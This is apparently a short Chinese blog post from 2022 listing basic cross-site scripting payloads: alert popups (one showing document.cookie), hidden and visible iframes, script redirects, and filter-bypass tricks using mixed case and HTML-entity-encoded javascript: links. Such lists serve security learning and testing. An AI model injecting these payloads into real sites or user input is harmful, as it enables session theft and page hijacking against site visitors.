构造XSS脚本

弹窗警告

<script>alert('xss')</script>
<script>alert(document.cookie)</script>

页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
页面重定向
<script>window.location="http://www.qfedu.com"</script>
<script>location.href="http://www.baidu.com"</script>

绕开过滤的脚本
大小写 <ScrIpt>alert('xss')</SCRipt>
字符编码 采用URL、Base64等编码
<a
href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116
;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">yangge</a>

 

posted @ 2022-10-31 11:47  聚散浮沉  阅读(52)  评论(0)    收藏  举报